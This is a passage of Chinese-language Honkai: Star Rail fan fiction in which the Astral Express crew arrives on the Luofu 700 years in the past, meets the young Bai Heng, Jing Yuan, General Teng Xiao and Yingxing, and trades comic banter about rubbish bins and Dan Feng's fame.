想要发现这件事情并不难,直播中,小丹枫声称一直守在长梦之地以至于中枢处都受到了丹枫梦境的影响。
而当时那片梦境的模样正好就是他们才刚刚凯旋而归的战场。
并且,小丹枫还曾表示自己的梦境非常糟糕,宁愿守在那里。
最直接的表现就是——丹枫的‘精神投影体’分类成了关系不是很好的两个人。
不论那两个‘丹枫’到底是不是丹枫,是不是精神投影,这段直播所要表达的就是丹枫的精神自我正处于对抗状态这件事。
剥离开那些覆盖在语言和剧情上真假未知的设定,这个消息本身才是直播想要传达的内容,也是景元认为可以相信的讯息。
但说到底,这些都是基于他的推测得出结果,在太卜司结果出来之前他不便多言,而且事关丹枫的精神状态,他也不敢在腾骁将军面前胡乱提起。
听完他的推测,其他三人纷纷陷入了沉思,白珩摸着下巴道:“所以,小景元,你怀疑丹枫精神分裂了?!”
景元被她这个结论噎一下,直接一脑袋栽在了桌上,哭笑不得叫她,“白珩姐。”
反倒是应星摇了摇头,“白珩说的未必不对。”
三人闻言动作一顿,不约而同的看向应星,这位和丹枫走的最近的百冶单手握拳搁在桌上,“别看丹枫那个家伙平时看上去冷冰冰的,好像傲的只会用鼻孔看人一样。
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”
说这话的时候,其他人都不由得朝他投来‘你也好意思说他’的眼神,他也没在意,“但实际上,那家伙很菩萨心肠。”
他看着酒杯里酒液上自己模糊的倒影,“他在战场上待命的时候只能看着战友和族人战死,自己却做不了什么,你们几个经常是提前出击应该没见过他那时候的眼神,我那一次也是恰好碰上了。”
应星回忆着龙尊当时严重的悲伤,喝了一口酒,“不夸张的说,我当时甚至以为他会哭。”
他自顾自继续道:“但实际上,他脸上的表情动都没动,直到信号传来的那一刻,他就好像换了一个人一样,眼睛里的一切情绪都消失了。”
说到这里的时候,应星的神色也不是很好,“那模样真的和今天直播里那个大的丹枫很像。”
淡漠,俯瞰一切,见一切生命如见草木,好似战场上绞肉机般的惨状都只是一些微尘被拂去。
“我不是说丹枫真的精神分裂,但是他必定有着相近的一种状况。”
他说到这里,镜流也想起来了什么,“说起来,丹枫每次在战争结束的时候都会站在原地眺望战场很久。”
她长期冲在最前线,在战斗结束后的那段时间和丹枫的接触会稍微多点,有时就会看到那平日里冷冰冰的高傲的好似目中无人的龙尊,静静的站在那里,水青色的眼睛长久的注视这眼前的这一片狼藉。
镜流不知道他到底在注视什么,只是感觉他的心情似乎并不好,每到这时候她就会皱着眉上前,唤来丹枫的注意力。
“你这么一说...”白珩也想起了什么。
这一切并不是无迹可寻,只是战场上他们几人忙于战机,无暇顾及太多,有时心下有异,也被眼前的战争抢了先机。
等到一切结束,丹枫的异样也早已消失,便只能就此搁置。
现在把这些情况汇集在一处,一一验证,几人这才发现这个问题严重的貌似不止一点点。
一路追溯,景元只感觉自己的声音都开始发着微颤,“丹枫这个情况,真的只是最近才出现的吗?”
还是说,早在他们认识之初,甚至更加遥远的时间之前,丹枫就已经陷在这种状况里了呢?
没有人能回答。
“这样下去不行,我们得帮他,我们得救他!”白珩按耐不住的站起身,手按在桌上对着几位朋友道:“我们是他最好的朋友不是吗?!”
应星揉了揉自己的脑袋,把自己那绾好的白发都揉乱了,“先别惊动他,他不是会放着问题不管的家伙,既然没有行动,也没有向我们求助,就说明他认为这件事无解。”
镜流也表示:“他的情绪一直以来都很稳定。”
景元深吸了一口气,点了点头,“至于更多的...”他看向深重的夜幕,“就只能看之后的直播会透露什么消息了。”
这一夜,各种人满怀心思的睡去,直到第二天人造的太阳升上罗浮的天空,星穹列车的虚影逐渐凝实,躺在资料室的丹恒也终于睁开了眼睛。
17.大明星丹枫
清晨,星槎海的接驳港口。
“这里是星穹列车,我们在跃迁过程中偶遇不测,在不可抗力的情况下跃迁至罗浮,现在请求罗浮的帮助。”
观景车厢中,丹恒正在向罗浮的天舶司发去求助申请。
“重复,这里是星穹列车...”
他的眉头紧皱,双手抱胸,搭在外头的那只手止不住的轻打着手下的小臂,星和三月七坐在一旁的沙发上,目光中也有些忐忑不安。
在重复了三遍之后,他们的消息终于得到了罗浮方面的回复。
“这里是罗浮仙舟,很高兴听闻星穹列车重新起航的消息,您的申请已转接天舶司,我们将立刻为您安排接渡人员。”
听到那头的回复,几人都顿时松了一口气,三月七伸了一个懒腰,总算是放下来心,“看来就算是七百多年前的罗浮也是很好说话的嘛。”
丹恒却没有就此放心,他摇了摇头,面色算不上轻松。
“没这么简单,在这个时代,列车还尚未起航,我们的到来太过可疑,而且我们跃迁到这里时没有经过任何允许和接驳就擅自进入了星槎海,老实说,他们这时候没用云骑军把我们包围起来可能都是列车的名声在外。”
星倒是没什么担忧,“船到桥头自然直,总不会直接把我们抓进幽囚狱吧?”
三月七闻言轻轻打了一下她胳膊,“哎,这个时候不能说这种话,等下又应验了怎么办?”
星无语的看着她,“不,你说才会应验。”
她又转过头把最关键的问题重新提起,“现在的问题是,列车怎么办?”
他们离开长梦之地,重新从梦中醒来后遭遇的最糟糕的消息,不是他们随机跃迁就跃迁到七百多年前的罗浮,而是他们发现,列车出现故障了。
鉴于帕姆还能正常活动,他们判断,这个故障不算太严重,但列车也因此暂时无法起航,无论是为了回到原本的时代,还是为了继续他们的开拓之旅,修好列车都是他们的当务之急。
但令人头秃的是,列车上没有专门的机修工。
三月七不用说,对这方面涉猎不多。
星倒是在之前开拓的旅途中这里学学那里看看的有了不少经验,但也没到能修列车的程度。
而最靠谱的丹恒,在理论研究上更为擅长一点,往常也给姬子打了不少下手,但要自己修却也是不行的。
“嗯,目前帕姆并没有感觉有什么不适,也做过大致检查,列车的引擎、核心都没有什么问题,很可能是外部零件方面的故障帕。”
作为星穹列车的列车长,和列车本身联系最密不可分的存在,帕姆的感受能够很好的说明一切。
这也是几人还不算太过着急的原因。
“所以咱们现在找罗浮帮忙?”三月七问道。
丹恒点了点头,“我们刚才已经试过了,我们无法联系上其他人,现在又停留在罗浮,能够给我们提供帮助的,除了罗浮也就只有公司了。”
他们早在发现问题的时候就试图向外求援,几人的通讯录里大半都是短生种,在这个时代都还没诞生,撇开长生种里那些对这方面一窍不通的人,能够求助的就只有几位熟识的天才。
比如螺丝咕姆,但很可惜,他们联系不上螺丝咕姆的信标地址。
而比起公司,他们还是更相信仙舟联盟,而且...
他看向车窗外的星槎海,“就我所知的,在这个时代,也许有一个人能够帮上我们。”
星立刻反应过来他在说谁,“你是说...”
丹恒朝她轻轻点了点头,答案皆在不言之中。
只有三月七左右看了看,叉起腰道:“你们两打什么哑谜呢?”
星勾着她脖子笑嘻嘻的,“到时候你就知道了。”
但在这之前,他们需要先向罗浮证明他们真的不是什么莫名其妙闯进星槎海的不轨之徒才行,至于求援...倒不是很困难。
和罗浮经常合作的列车组表示这事他们熟啊。
商定好了大致行动,几人和帕姆打好了招呼,稍微收拾收拾便下了车。
星槎海街头人来人往,热闹非凡,景物布置和七百年后虽有差别,但也不算是太过陌生,只是少了些许他们熟悉的痕迹味道。
列车组的脚刚刚沾地,还不等仔细打量这七百年前的罗浮有什么特别的,就感到几道目光落在了自己身上。
起初他们并没有在意,只觉得大抵是路人好奇,直到这些目光越集越多,已经开始形成围观之势的时候三个人终于绷不住了。
那种近乎于注目礼一样的目光,热切的跟看到什么珍稀动物似的,哪怕以列车组当惯了英雄,经常受人瞩目的经验都有点受不了。
上一回他们经历类似的目光,是在知更鸟的巡演星球上和知更鸟一起闲逛,被人意外认出来的时候。
“嘶。”三月七不由得搓了搓自己的胳膊,轻轻拽拽星的衣袖,偏头过放低声音道:“我说他们看我们的眼神是不是太奇怪了,。”
星稍微大大咧咧点,“会不会是没见过列车?”
“确实有点不对。”丹恒不懂声色的环顾四周,很快就发现了人群神情上的异样,“他们似乎特别关注我们。”
星槎海中枢是通过玉界门之后的落地的第一个地方,飞行器如星子般往来,再稀奇古怪的造型这里的人也早就见怪不怪了,就算列车的外形在众多宇宙航行工具中独树一帜,也不该招致如此大量的瞩目。
他旋即抬头,锐利的目光笔直准确的落到其中几道最热烈的目光的来处,那是几个持明,尖耳朵的标志很显眼,对上他的目光时候下意识被吓退了一步,随后却激动的原地蹦跶了起来。
丹恒:???
他有些茫然,这种茫然也随机出现在了他的脸上,更引发了那几个持明的尖叫,甚至尖叫之余,他们还直接拿出了玉兆,不知道要进行拍照还是网上交流。
三月七和星注意到那边的情况,好奇的凑过来两个脑袋,“那是谁?丹恒你的粉丝吗?”
丹恒心累的按了按自己的额角,“不,三月,怎么想都不可能。”
七百年前他哪来的粉丝?等等...
丹恒似乎想到了什么,不会是...
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“哈哈哈,大概是你那位同伴长得和我朋友太像了吧,毕竟我那位朋友在罗浮上的人气可不低。”还不等他的猜测彻底成型,天舶司安排的接渡使就到了。
来人是个淡紫长发的狐人女子,穿着一身带着毛领子的劲装,身后披着一个小斗篷,模样清丽姣好,表情俏皮,一看就是很活泼的类型。
她朝他们眨了眨眼,头顶的长长的狐耳动了动,很是自来熟的笑道:
“没想到,我有生之年还能接待星穹列车的成员,自我介绍一下,我是白珩,也是一名无名客,现在暂时担任你们的接渡使,欢迎各位来到仙舟·罗浮。”
而列车组的两个小姑娘给她的回答是不约而同的长大了嘴。
——卧槽!!!
她们艰难的把这句感叹给咽了回去。
这不就是成年后的白露吗?!把狐耳换成龙角几乎一模一样!
星反应的快点,几乎是下意识去看丹恒的反应,好歹还记得收敛动作,没有太明显只是微微的骗了偏头。
丹恒的反应却出乎意料的平淡,他脸上的表情没有什么波动,灰蓝色的眼眸深处似乎闪了闪,也许是终于想起了这位对丹枫而言非常重要的挚友的模样,随后就十分平淡的自动接上了白珩的话。
“你好,我是丹恒,星穹列车的无名客,这两位是我的同伴——”他顺势把话递给两人,两人这才回过神,连忙进行自我介绍。
白珩就像是没发现他们异常的反应一样,笑容不变的道:“你们的请求天舶司方面已经收到了,星穹列车能够重新起航,联盟也同样感到欣慰,同样的,罗浮很愿意为你们提供帮助。”
“但你们也明白,你们的到来太过突然,在这之前我们得先解决一些小问题。”她朝两个小姑娘wink了一下。
“别担心,咱们司舵大人和将军大人都是很好说话的,同为无名客,我相信你们一定没问题的,对了到时候能让我上列车看看嘛?我这辈子最大的梦想就是登上星穹列车!”
三月七嘴甜的很,闻言便道:“没问题!等咱们交涉结束了,白珩姐姐想来列车上看多久就看多久,我和你说,列车空间可大了...”
白珩也笑的欢,两个人一拍即合,“那就说定了!”
“感谢贵方的理解,我们遇到了一些...不可抗力,误入罗浮实属意外。”等她们聊完丹恒才开口,他犹豫了一下,还是问道:“你刚才说那些人是因为...”
白珩脸上的笑容就更大了,她像是忍着笑一般,声音都抖着气,“噢,你们应该还不知道,是我们罗浮之上一个‘大明星’,持明龙尊,【饮月君】丹枫。”
她还特地提了提丹恒,“说起来你和他的名字也挺像的。”
“他啊,虽然平时一副冷冰冰的模样,但实际上在罗浮的人气高的不得了,那些人大概是看见你和他长得一模一样太激动了而已。”
她说完,看着列车组的表情,露出了些许不应该的疑惑,“怎么,这位丹恒小哥在外头的人气不高吗?”
对当年丹枫人气毫无概念,出生即蹲号子的丹恒:......
18.使用结盟玉兆
从星槎海到司宸宫,再从司宸宫到神策府的路上,丹恒算是见识到了饮月之乱前丹枫的声望是多么的高。
几乎他走哪,哪的罗浮本地人就会在和他擦肩而过之后一个向日葵款式的猛然回头,对他的脸行以注目礼。
其中以持明族尤甚。
就这么两段路程的时间,丹恒几乎收获了百分之百的回头率,可以说有生以来,他是第一次这么备受瞩目。
这真的完全出乎了他的意料。
在他所受到的教育中,后续自学的知识里,包括后来对罗浮的认知里,从来都在强调丹枫是造成了饮月之乱的罪魁祸首,是大罪人。
他的族人对他爱恨两难,持明卵中留下的残念愤怒于他为何行差踏错,只有偶尔的在街边说书人的故事里,在景元偶尔感念往事的感叹中,他才会听说些许当年饮月君的风采。
即便如此,丹恒也依旧对此没有什么实感。
直到现在。
他才深刻的意识到了当年的丹枫对持明族意味着什么,又在罗浮上是何等声望。
可也正因为他此刻感受到了这份热情,丹恒才越发的只觉如芒在背,那种炽热的目光刺的他浑身不自在,脸上的表情也越发冰冷,拒人于千里之外。
结果却发现,这样反而适得其反,以至于有不少人直接看错眼误以为他是丹枫本人。
在面对不知道第多少个没搞清楚状况上来就是一句‘龙尊大人’的持明的时候,丹恒那好久没有发作的切割声明终于重出江湖。
“我不是他,你认错人了。”
白珩看这个场面也有些抱歉,“不好意思哈,他们也只是好奇...”
丹恒摇了摇头,没有说什么,随后就把衣服后头的兜帽带了起来。
有了兜帽的遮掩,后半程的路上,丹恒终于好受了很多,虽然可能是消息已经传开,兜帽也无法完全遮住他的脸,注视他的人依旧很多,但兜帽却可以替他挡掉一些打量。
三月七和白珩两个人堪称一见如故在前头聊的很是欢快,星见状稍稍退后一步,蹭到了丹恒身边,看着白珩的背影有些担心的问道:“丹恒,你还好吧?”
丹恒轻轻摇了摇头,“放心,我没事。”
他大概知道星想问什么,但他也确实没有那么的难受,白珩对他的震撼其实比他自己预计的都要小,当看到这个人的时候他也只是恍然大悟一般的明白,原来她便是这般模样啊。
印象中残缺的画面被生动的填补而上,那些遗留下来的只言片语也终于找到了对照的主人,随后,便仅此而已了。
他更多的想起的,是他和白露在鳞渊境前眺望龙型木瘿时的对话。那时,白露曾笑称他很像自己等待已久的老师。
——“也许我们前世也是朋友或者师徒呢?”*
他当时是怎么回答的?
——“丹枫的朋友或者爱徒吗?或许如此吧。”*
没想到,昔年的随口之言竟一语成谶。
“前世贤契,来世蒙师,原来如此。”他看着白珩的背影轻轻叹了一口气,“缘分还真是奇妙。”
星见他确实不是在勉强自己也就松了一口气,“罗浮的态度比我想象中的要好。”
可能是因为这一次罗浮并不在紧急状态,现任司舵并没有为难他们,公事公办的询问了基础信息后表示将军要见他们,就把他们几个转到神策府去了。
“我想或许是太卜司已经得出了一些相关情报,不然他们也不会如此自然的带我们直接面见罗浮将军。”
丹恒轻轻摇了摇头,表示还不是放心的时候,“不论如何,等会便知分晓。”
他们来到神策府的时候腾骁显然已经等候多时了。
腾骁和景元显然是截然不同的两个风格的将军,景元并不显名于武力,就算长的人高马大的,却也还是显得气质柔和,让人见了便知道他脾气不错,往那一坐就跟个好顺毛的大猫似的。
但腾骁显然不同,腾骁更像一个典型的战将,看上去有些粗犷,大大咧咧的不拘小节,不笑的时候显出几分凶相,十分唬人,倒是非常符合他的名字。
腾骁见了他们便步下高台,也不废话,开场便直入主题,“我仅代表罗浮及仙舟联盟欢迎你们的到来,来自七百年之后的星穹列车的各位。”
即便起先就有预料,三人还是稍稍吃了一惊,丹恒镇定自若的回答道:“果然,腾骁将军已经知道了?”
腾骁哈哈笑开,“难得你们还能知道我的名讳,不瞒你们说,看到太卜司报告的那一刻我也是吃了一惊,星穹列车毫无消息的突然出现,还是来自于七百年后,如此奇事,千载难逢啊。”
他观察着对面三人的神色,发现当听见他说是太卜司得出的消息之后三人眼中都纷纷露出了‘果然如此’‘我就知道’的神色,心下了然。
看来星穹列车还不知道直播的存在。
果然,是太卜司得出的消息。
丹恒对此早有预料,“腾骁将军威名赫赫,列车与罗浮有盟议之约,我和我的同伴们也经常往来于罗浮,自然是听过您的英名。”
听到这话腾骁不由得挑起眉,这是他们没有料到的,列车居然和后世罗浮这般熟悉吗?
“既然是有盟议之约的未来朋友,那腾骁也就不走那些虚的,直接一些才是我的风格,听闻诸位想向罗浮请求帮助?”他摆了摆手,笑容似乎真实了一点。
“既然腾骁将军已经知晓,那我们也不必隐瞒,我们在跃迁过程中遭遇意外才来到这个时代,其中很可能有星神的手笔,列车在跃迁过程中遭遇冲击出现故障,我们希望能获得罗浮的帮助,修复列车,重返属于我们的时空。”
丹恒说着,掏出了一样东西。
腾骁定睛一看,嚯,那可不是一般的东西,那是各个仙舟用来感谢对自己有大恩德的人或者势力时才会给出的结盟玉兆!
持有这东西就说明对方是仙舟的朋友,是座上宾,若对方有难,只要使用玉
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兆,无论银河迢迢,相应的仙舟都必定会赶赴玉兆之所在,对其伸出援手。
但以腾骁的眼力也能看出,这个玉兆已经被使用过了。
“我知晓腾骁将军对我们几人的身份还有顾虑,毕竟穿越时空一事过于惊世骇俗,这是后世罗浮赠与列车的结盟玉兆,虽然已经被使用过,但后来的罗浮将军依旧将它作为和列车友谊的证明,并表示玉兆仍有效用。”
丹恒说着上前了几步,走到一个腾骁能够看清细节也不会超过安全距离的位置,将玉兆摆到腾骁面前,却没有让他接过。“我想它应当足以证明我们的身份。”
天人的五感力天生就高,这个距离足以腾骁看清楚那玉兆上的所有细节。
对腾骁来说,辨认真假并不难,但让他一瞬间惊愕的没立刻回答的,是玉兆上头的留痕。
——那是六位仙舟天将外加元帅亲笔留痕!带巡猎之力认证的那种!
这一瞬间,腾骁自己的嘴角都抽抽,这个玉兆的含金量已经不仅限于罗浮了,这个玉兆的级别已经到了只要星穹列车遇难,能一瞬间把六艘仙舟全叫过来,云骑军倾巢而出,六位天将和元帅亲自来下场帮忙干架的程度。
这星穹列车是干了什么?他们和帝弓司命拜把子了吗?!
而且七百年时间兜兜转转,光阴变换,物是人非是理所当然,可腾骁却在上头看见了一个熟悉却又意料之外的名字——景元。
那小子成将军了?!算算时间,还是高龄将军!
震撼太多,以腾骁那已经喜怒不形于色的功夫都没能掩住自己的神情,但还好那只有一瞬,一瞬过后,腾骁便立刻收敛起自己的表情,原本应付社交礼仪的笑容也变的郑重了很多。
“这确实是联盟所发的结盟玉兆,虽然如今是七百年前,但既然持有结盟玉兆,就证明诸位是罗浮的朋友,罗浮会倾尽全力帮助诸位。”
他说完这句话,丹恒三人的面色肉眼可见的放松了很多,丹恒也明白礼尚往来的道理,“多谢将军,在星穹列车停留于罗浮期间,将军若有什么需要,我们也会尽己所能。”
腾骁在心里头感叹了一下对方的说话周全,大笑了几声:“哪里,大家都是朋友,哪怕是未来的朋友那也是朋友,罗浮没有亏待朋友的道理,相关的事宜我会尽快安排下去,不必担心。”
交涉非常顺利的结束了,等几人离开神策府的时候,等在外头的白珩已经收到了消息,见他们出来便笑。
“我就知道我们无名客没有坏人!我收到将军消息啦,接下来一段时间我会担任你们在现在这个罗浮的导游。”
她朝几人眨了眨眼,示意她是清楚内情的人,随后问道:“既然诸位也不是第一次来罗浮了,有什么想要特别看看的吗?”
说到这个,星有话说,她高高的举起来手,甚至垫着脚尖务必让对方看到自己,一双淡金色的眼睛亮晶晶,充满了纯真的好奇与兴奋。
“请问,这个时候的罗浮有垃圾桶吗!”
19.垃圾桶震撼
垃圾桶?
白珩有点茫然,一度以为自己是不是听错了。
星举手的瞬间,丹恒就默默的扶额叹气,三月七抬头望天,一副不出意外的模样,似乎对这个震撼的发言习以为常。
用粗俗一点的说法,那反应就像太过了解彼此,哪怕对方只是撅个腚,他们都知道这是要放什么屁。
白珩原本以为他们至少会出言驳回,重新选一个去处,但令人惊讶的是丹恒和三月七竟然都默认了让她带路去找垃圾桶的这个提议。
两人脸上甚至有一种‘我懂,我都懂,这已经成为了我们的惯例’的麻木感。
白珩大为震撼,七百年后的无名客都已经进化到这种程度了吗?!
这要换了其他人当导游可能会觉得这个提议太荒唐了,就算对方能提自己也不能真的照做,多半会三两句含糊过去在提供几个标准选项。
但白珩不愧是同为无名客的人,接受新事物的速度远超常人,见所有人都没意见,非常欢快的就答应了下来。
而且还别说,七百年前的罗浮,那是真的有垃圾桶!
“行啊!你要哪个地方的垃圾桶?”
甚至还直接让挑上了。
听闻消息赶来凑热闹的景元刚到就听到了这么句话,他脚下一崴差点原地栽了个跟头,一脸震惊的看着白珩,“白珩姐,你刚才说什么?!”
他是不是听到了‘垃圾桶’这三个字?!白珩不是自告奋勇来做导游的吗?!怎么和垃圾桶扯上关系的?!
听到他的话,四个无名客统一回头,给了他一个‘咋了’的眼神,白珩还理所当然的反问:“星小姐想看看罗浮的垃圾桶啊,怎么了吗?”
景元被她这幅有啥好大惊小怪的模样噎了一下,一时间嘴巴张也不是闭也不是。
不是,你们无名客是怎么做到这么统一的,你们之间还差了七百年的代沟吧?!
但星和三月七看到这个时候的景元一样也张大了嘴巴,先前在长梦之地的梦境中光线模糊几人只是看了个大概,如今见到本人才更觉差距巨大。
如今的景元还只是个少年,虽然上过战场、立过奇功,也在镜流手下吃过苦,气质相比于同龄人稳重许多,但少年人年少成名意气风发,还没被物是人非磋磨的温吞内敛,正是光华毕露的时候。
那双鎏金的眼剔亮透彻,似乎不知愁滋味,看人的时候闪亮亮的发着光,就好像被太阳晒的通体暖和的猫,浑身上下都透着阳光的气息,见了人就欢快的嗷呜嗷呜的叫。
“哇!你是这个时代的景元!!!”三月七不由的惊叫道。
等叫完了,她才记得捂住嘴巴。
景元见了就笑,“三月小姐不必担心,身为将军骁卫,这点事情我还是知道的。”
三月七一听顿时星就放下了,和星两个一起跟好奇宝宝似的凑了过去,不时的感叹着,“我的天,你看起来好年轻啊!哦不对,我们认识的景元也不老。”
星同意的点点头,摸着下巴打量道:“是气质上的问题吧。”他们认识的那个景元更稳重内敛深不可测。
景元听了眨了眨眼睛,好奇的问道:“两位是认识未来的我吗?”
“认识!咱们可熟了。”三月七点了点头,朝他竖起一个大拇指,“我和你说,未来的你...”
“咳咳,三月...”她说到一半就被丹恒叫住,黑发青年刻意清了清嗓子朝她微微摇了摇头。
他们被送到过去的缘由还不清楚,也不知道他们在这个时空导致的行动会对未来产生什么影响,以防万一还是暂时不要说出什么关于未来的讯息比较好。
景元闻弦歌而知雅意,立刻就明白了他们的顾虑,非常善解人意的问道:“未来的我帅吗?”
星想了想常坐在神策府高台上的神策将军,点了点头,“帅!那必须帅!你人气可高了!”
人气高?景元有点懵,但还是继续问道:“未来的我厉害吗?”
三月七:“当然厉害了!超级厉害!”
“最关键的一个问题。”景元稍稍收敛起表情,一本正经的严肃问道,“未来的我,长得高吗?”
星直接拍了一把他的肩膀,“高!那是相当高!比丹恒还要高大半个头呢!”
景元闻言直接发出一声欢呼,双手兴奋的都握成拳头,脑海里飞速幻化出一个身材高大务必潇洒,知名度响彻银河的巡海游侠模样的自己。
“好耶!这么算算我超过应星和丹枫指日可待!”
丹恒站在后头,啥都没说就这么莫名受到了身高上的冲击,虽然他对自己的身高倒也没有什么特别的执念,但被这么一对比,总是会莫名有些许不爽。
“咳!”他刻意清了清嗓子,示意自己还在后头听着呢,两姑娘动作一僵,立刻就毫不犹豫的转变了话题。
白珩围观了整个过程一时间没忍住笑出了声,一边笑还一边对他低声道歉,“抱歉抱歉,没忍住,放心,小丹恒,从丹枫的身高看,你说不定还能长长呢。”
丹恒倒不在意只是看着她,有些迟疑,“你知道...”
白珩朝他比了一个嘘声的手势,小声笑了笑,“猜到啦。”
丹恒不奇怪她能猜到,太卜司既已给出他们来自七百年前的信息,那么卜算出其中有龙尊转世倒也不是不可能。
但白珩的反应却有些出乎了他的预料,“你...”
白珩却冲他笑了笑,上前几步揽住前头聊的热火朝天的三个人,跟要出发征服全罗浮的垃圾桶一样,发出了无比豪迈的口号,“走啦走啦!我带你们去见识见识罗浮上的垃圾桶!”
丹恒落在最后,定定看着前头的背影片刻,随后将疑惑和异样感先藏在心底,跟上了同伴的步伐。
众所周知,探索垃圾桶也是有讲究的。
首先,要在众多垃圾桶里选中一个闪着亮晶晶的垃圾桶。
其次,打开垃圾桶盖,不要在意路人异样的目光,坚定自己身为无名客的信念,做出选择,勇敢的向里头每一个垃圾伸出自己的开拓之手!
最后,感受垃圾桶的灵魂,就从中获得无上的宝藏!<
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p>“嘿咻!”星一把从垃圾桶深处掏出一袋金色的垃圾,在路人见鬼一样的眼神中,炫耀似的递给白珩,“看!金色光芒!大收获!”
在远处旁观的景元神色茫然,“为什么垃圾会发金光?”
白珩震惊的垃圾,难以置信的打开看了看,“我怎么从来都没发现过罗浮还有这种类型的垃圾?!”
景元:“因为谁会没事翻垃圾桶啊!”
星还在继续开拓,她继续从垃圾桶里掏出了五个粉蓝色的石头,一小叠信用点,甚至还掏出了......一只体型是垃圾箱两倍的扑满?!
景元目瞪口呆的看着星提着棒球棍就冲上去,一棍子把要逃跑的扑满给砸晕了过去,喃喃自语道:“这垃圾桶是怎么装下这些的?!”
这底下是链接了一个虫洞吗?!怎么连扑满都有?!
按照这个情况哪天从垃圾桶里翻出一只丰饶孽物都不是不可能的事情。
“罗浮的垃圾桶什么时候这么危险了?!”
他看着星非常大方的将那一代金色的垃圾和那叠信用点都送给了白珩,而白珩还非常自然的接了过去,打开查看,完全不觉得有什么不对,只感觉世界好像在他不知道的时候擅自进化了。
怎么就掏出这些东西了?!怎么就接受了?!白珩姐你不觉得有哪里不对吗?!
“习惯就好。”他耳边传来丹恒平静却仿佛饱受沧桑的话语,“她每到一个星球都一定会将这个星球的垃圾桶全部探索过去,初到罗浮的时候她发现罗浮没有垃圾桶还非常失望,现在正好补上了。”
景元眼光呆滞的转头看向他,木然的问道:“这是七百年后无名客的传统吗?”
丹恒似乎对此早有预料,脸上的神色颇有一种‘我就知道会这样的’的无奈感,那模样很像每次丹枫给他们兜底时候的神情。
他长叹了一口气,道:“不,别误会,那是她的个人爱好。”
他看向景元的目光异常坚定,似乎在告诉他,无名客绝对不是这样的。
但景元看着已经开始融入其中自得其乐的白珩,不由得怀疑这是不是什么无名客的特别buff.
难道当上无名客会自动爱上垃圾桶吗?!
路人已经默默的绕开了他们停留的这一块区域,路过的目光就跟看到什么精神不太正常的人一样,但又非常尊重他们的默默移开了视线继续干自己的事。
丹恒似乎是已经非常习惯了这种情况,他默默的跟在几人身后,熟练的无视了其他人的目光,最后将将卡在有人实在忍不住要报地衡司之前,拉住了两个像脱缰的野马一样势要横扫整个罗浮垃圾桶的女孩。
整个过程从观察周围状况到判断是否应该停止行动,最后再到拉住人,整个过程无比丝滑,一看就演练过很多次。
好在白珩还算清醒,被拉住之后立刻就收了神,有些尴尬的收好了‘战利品’,转移话题。
“对了!列车不是出现故障了吗?走吧,我带你们去工造司看看,找咱们罗浮上最厉害的百冶,他一定能帮到你们。”
20.二舅!
这个时代的工造司百冶是一个传奇。
一个用飞逝如流星般的生命超越了长生种,在工匠技艺上冠绝联盟的奇迹。
直到七百年后,他的名字被写入了罪人的大册,他的画像一度上了罗浮的通缉令,他也仍旧是一个不可超越的壁垒。
他的存在正如他的名字一般,是整个仙舟联盟匠人都要仰望的一颗星星——应星。
他的名字列车组不算熟悉,毕竟和他们打交道的不是那位惊才艳艳的应星,而是已经成为星核猎手致力于死得其所的‘刃’。
他们到达的工造司的时候,正好赶上了应星正在教授工造司新来的学徒,还没到门口呢,一个稍显喑哑,语气狂躁,光是听着就让人知道声音的主人火冒三丈的嗓音正如惊雷般爆开:
“你告诉我,你花了三个时辰搞出了这么一个错误百出的玩意?!”
几人跟着白珩小心翼翼的凑到门边,打开了一条缝,只见里头上身难得穿着整齐,很有男德的白发男人正黑着一张脸,拿着一个看上去确实很是粗制滥造的机巧,正在极力的压制着自己的怒火。
男人穿着一身黑色的长款风衣,绣纹低调而不失精致,风衣是十分贴身的款式很能彰显对方的身材,一头白发被对方用一根枝稍状的木簪盘起落下一束留在身后,簪头有鎏金的花苞含苞待放。
他深吸了一口气指着机巧的一处关卡,“如果我没记错这个初级线路错误我昨天已经检查出了三回,重复了三遍,你来告诉我,你是怎么做到三个时辰都没有发现这个错误的?”
那学徒被他问的浑身直打颤眼见着都要哭了,他见了脸色更黑了,身后仿佛有一阵黑气蒸腾直冲房顶,脑门上的青筋直突突,眼见着都要冒出杀意来了。
“咦——!!”那学徒见了一个激灵,嘴里溢出一声悲鸣,忙不迭的鞠躬表示自己立刻重做,随后夺门而出,甚至都没注意到门边上有人,慌不择路的就跑没影了。
这场面把列车组看的一愣一愣的,白珩和景元却习以为常的借着被推开的门踏入屋内,毫不客气的招呼道:“应星,好久没见你发这么大的火了,那是工造司新来的学徒?”
应星也没和他们客气,大马金刀的往那一坐,见有客人才稍稍收敛了语气,“嗯,新来不久,这几位就是星穹列车的人?”
他偏头看向跟在白珩身后的丹恒三人,目光扫过两个小姑娘,在丹恒的身上稍稍停留了一下。
丹恒也终于近距离的看清楚了这位堪称传奇的天才匠人。
作为短生种,他其实并不年轻了,眼角已经出现无法忽视的纹路,脸上也有了略微明显的法令纹,其实单看着不显,但和白珩景元这样的长生种站在一起的时候能很明显的看见岁月在他身上留下的痕迹。
可他的容颜并未因这种痕迹、这种衰老而失去原本的风华,相反,他的身上有一种只有短生种才可能有的气质,一种有知觉的被岁月磨砺后才会产生的气质。
温和的,但也并不是被磨赶紧了爪牙后的圆滑,狂放的傲气内敛,傲骨深藏,就像有一股淬火在他的身躯中燃烧着,想要将那短暂的时间锻造成这世间最惊人的作品。
他和刃的差距太大了。
大到丹恒甚至无法因为和刃一模一样的这张脸而产生下意识想要后撤掏枪给对方一下的冲动,虽然他看见那张脸对自己露出这种堪称温和的表情的时候整个人还是忍不住后退的一步,原身脊背上的毛都要炸起来了。
应星被他们看的头皮发麻,只觉得浑身都不自在,他低头看了看自己,确定没穿错衣服,怎么三个小孩都是一副见鬼了的表情看着他。
尤其是那个丹枫转世的小子,看到他的时候整个表情就跟要原地裂开来一样。
他摸不着头脑的几人打了声招呼,“初次见面,我是...”
还不等他自我介绍,就听得一声惊天霹雳般的呼唤。
“二舅!!!”
那个之前在直播里看起来精神就有点抽象的灰发女孩直接嗷地一声扑到他跟前,一声二舅直接把应星都叫蒙了。
“二舅!你的胸怎么缩水了?!!”
应星:......
这个无名客的脑子是不是有点不太好,还有,他哪来的外甥女?!
这一声不仅把应星叫懵了,也把白珩和景元叫懵了,一时间没反应过来的问他,“应星,你亲戚?”
应星眼角抽了抽,没好气的道:“我哪来的七百年后的便宜外甥女!我是孤儿!”
“没错!”星听了不仅没有失落,反而非常义正言辞的,拍了拍胸脯,非常自豪道:“我是二舅你七百年后没有血缘关系非亲非故的外甥女!”
应星:“......你要不要听听你在说什么?”
星也不在意他脸上的嫌弃,拍着小胸脯和他保证道:
